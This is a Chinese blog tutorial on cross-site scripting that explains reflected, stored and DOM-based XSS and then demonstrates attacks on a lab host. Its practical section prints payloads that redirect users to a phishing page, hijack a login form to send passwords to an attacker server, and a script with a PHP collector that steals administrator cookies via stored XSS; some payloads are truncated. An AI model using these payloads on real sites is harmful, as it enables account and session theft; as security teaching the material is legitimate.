XSS注入

XSS注入本篇文章详细讲解 XSS 漏洞及其原理 以及常见的 XSS 漏洞利用和一些防范手段 同时最后会通过对特定靶场环境进行手工的 XSS 漏洞的注入 以便加深对 XSS 漏洞的熟悉与理解


前言

本篇文章详细讲解XSS漏洞及其原理,以及常见的XSS漏洞利用和一些防范手段。同时最后会通过对特定靶场环境进行手工的XSS漏洞的注入,以便加深对XSS漏洞的熟悉与理解。


一、XSS是什么?

xss全称为Cross Site Script,即跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheet)混淆,因此简称为XSS。最初的XSS演示是跨域的,因此被称之为跨站脚本攻击,但随着JavaScript的强大功能以及前端网页逐渐复杂化,跨不跨域已经不重要,但是这个名称还是保留了下来。

xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意脚本,从而在用户浏览网页的时候控制用户的一种攻击。xss长期因此被称为客户端Web安全的头号大敌,因为xss破坏力强大,产生情景复杂,一年才针对不同场景产生的xss漏洞,应该区分情景对待。

二、XSS的大致分类与利用思路

1.反射型

反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。

2.存储型

存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。

3.DOM型

DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。

三、不同类型的XSS漏洞注入演示

1.反射型xss

2.存储型xss

3.DOM型xss

http://192.168.159.156/admin/login.php?username="/>ssss");document.getElementsByTagName("body")[0].οnlοad=function changeLink(){document.getElementById("myId").href="http://192.168.1.101/xsstest/fish.html"} </script> <a href= 

三、XSS漏洞实战

1.制作钓鱼网站获得用户的用户名和密码

http://192.168.159.156/admin/login.php?username="/>myform").action="http://192.168.1.101/xsstest/getinfo.php" </script> <a href= 

在这里插入图片描述
但是这个链接太长了,而且一看就是图摸不轨的URL,所以我们使用将其转化为短连接:
在这里插入图片描述
访问生成的短连接,并输入测试的账号:admin密码:admin
在这里插入图片描述
在攻击者的网站下生成了对应的passwd.txt,获取了用户的账户密码信息。
在这里插入图片描述
这样我们就通过钓鱼的方式获取了用户的账号密码,当然这只是大致原理,真正情况下还要进行网站的防范测试、进行绕过。














2.获取管理员的cookie

接下来我们再来看最后一个实验场景,获取CMS后台管理员的cookie,经过前面的测试我们知道在该CMS文章系统前台的留言板存在xss漏洞,因此我们可以通过存储型的xss注入,利用JavaScript获取cookie再传送到我们自己的网站底下。

好了有了大致思路之后我们就开始搞,首先我们还是明确我们的攻击思路,首先在前端留言板构造payload,保险起见,我们不带有攻击性的代码,仅仅远程调用我们(攻击者网站下的脚本),所以我们先写好相应的脚本文件:

getcookie.js:

function getcookie(){ 
      var url="http://192.168.1.101/xsstest/getcookie.php"; var data = "cookie="+document.cookie; var xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST",url); xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); //content-type:表名内容类型,决定浏览器以什么形式进行编码读取这个文件。 //application/x-www-form-urlencoded:最常见的POST提交数据的方式 xmlhttp.send(data); } getcookie(); 

getcookie.php:

 
      $cookie=@$_POST['cookie']; file_put_contents("cookie.txt", $cookie."\n",FILE_APPEND); ?> 

在CMS文章系统的留言板注入代码:

<script src="http://192.168.1.101/xsstest/getcookie.js"></script> 

总结

以上就是关于XSS漏洞的全部内容,之后有时间我还会更新关于CSRF与XSS联合使用制作钓鱼网站的内容,欢迎关注交流学习。



版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/200023.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月20日 上午11:41
下一篇 2026年3月20日 上午11:42


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号